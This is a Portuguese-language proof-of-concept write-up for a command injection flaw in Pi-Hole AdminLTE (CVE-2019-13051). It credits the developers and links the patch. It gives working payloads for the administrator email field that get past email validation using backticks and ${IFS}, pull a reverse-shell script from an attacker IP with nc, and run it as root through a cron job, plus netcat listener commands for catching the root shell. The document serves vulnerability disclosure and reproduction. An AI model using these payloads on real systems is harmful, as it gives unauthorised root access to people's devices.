
Prova de conceito de exploit para injeção de comandos no Pi-Hole AdminLTE (CVE-2019-13051) permitindo acesso root remoto via injeção no campo de email e execução baseada em cron.
A versão 4.3.2 do Pi-Hole contém um patch para esta vulnerabilidade: https://github.com/pi-hole/AdminLTE/pull/974
Um grande agradecimento à equipe de desenvolvimento do Pi-Hole pelo seu projeto incrível e por tornar tão fácil relatar esta vulnerabilidade!
É possível obter acesso root remotamente no dispositivo Raspberry Pi (ou em qualquer dispositivo/VM onde a aplicação esteja rodando) através das vulnerabilidades descritas no componente "AdminLTE". É necessário ter acesso administrativo/credenciais para a interface web do AdminLTE para explorar isso.
Em mais detalhes, é possível contornar as verificações de expressão regular e poluir o campo "Endereço de E-mail do Administrador" com comandos arbitrários. Estes são, por sua vez, armazenados em "/etc/pihole/setupVars.conf", que são então analisados e executados com privilégios root a partir do job cron.d de 10 minutos "/usr/local/bin/pihole updatechecker local".
Um atacante deve aguardar o intervalo de 10 minutos do job cron "/etc/cron.d/pihole" para a execução do comando/código.
Esperamos que os seguintes detalhes e PoC ajudem na sua validação e reprodução do problema.
Uma vez autenticado na aplicação web, existem algumas validações no lado do servidor que um atacante precisa contornar para injetar um comando com sucesso.
Em "savesettings.php" L:499, uma variável controlada pelo usuário "$adminemail" é avaliada contra a função interna PHP FILTER_VALIDATE_EMAIL, cujas verificações são relativamente fracas.
É então possível contornar essa verificação de validação e comprovar a injeção de comandos simplesmente colocando um conjunto de crases entre aspas duplas, por exemplo, inserindo o seguinte como e-mail do administrador:
"`test>/tmp/poc_proof.txt`"@example.com

Dentro de 10 minutos, um arquivo de propriedade root contendo "test" será criado em "/tmp/poc_proof.txt" com privilégios root.

Para realizar quaisquer ataques adicionais significativos, também é necessário contornar a limitação de espaços em branco (que não são caracteres válidos de e-mail e são capturados pela função FILTER_VALIDATE_EMAIL). Para isso, foi utilizada a variável interna do Linux ${IFS} (que por padrão é um espaço em branco na maioria dos sistemas Unix).
PoC:
Nota: isso poderia ser automatizado com um one-liner usando gramática de shell POSIX, ou seja, &&, || ...
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

A requisição HTTP ficará assim quando examinada com um proxy HTTP:

Aguarde 10 minutos para o job cron executar e buscar o script ou, para fins de reprodução, execute manualmente /usr/local/bin/pihole updatechecker local. Você também pode validar o comando injetado que reside em "/etc/pihole/setupVars.conf" (encontrado atribuído à variável ADMIN_EMAIL).
nc -nvlp 4445
"`python${IFS}/tmp/revshell.py`"@example.com
Mais uma vez, aguarde 10 minutos (ou execute o script cron manualmente para fins de reprodução do problema) e você obterá um shell root em sua máquina atacante.
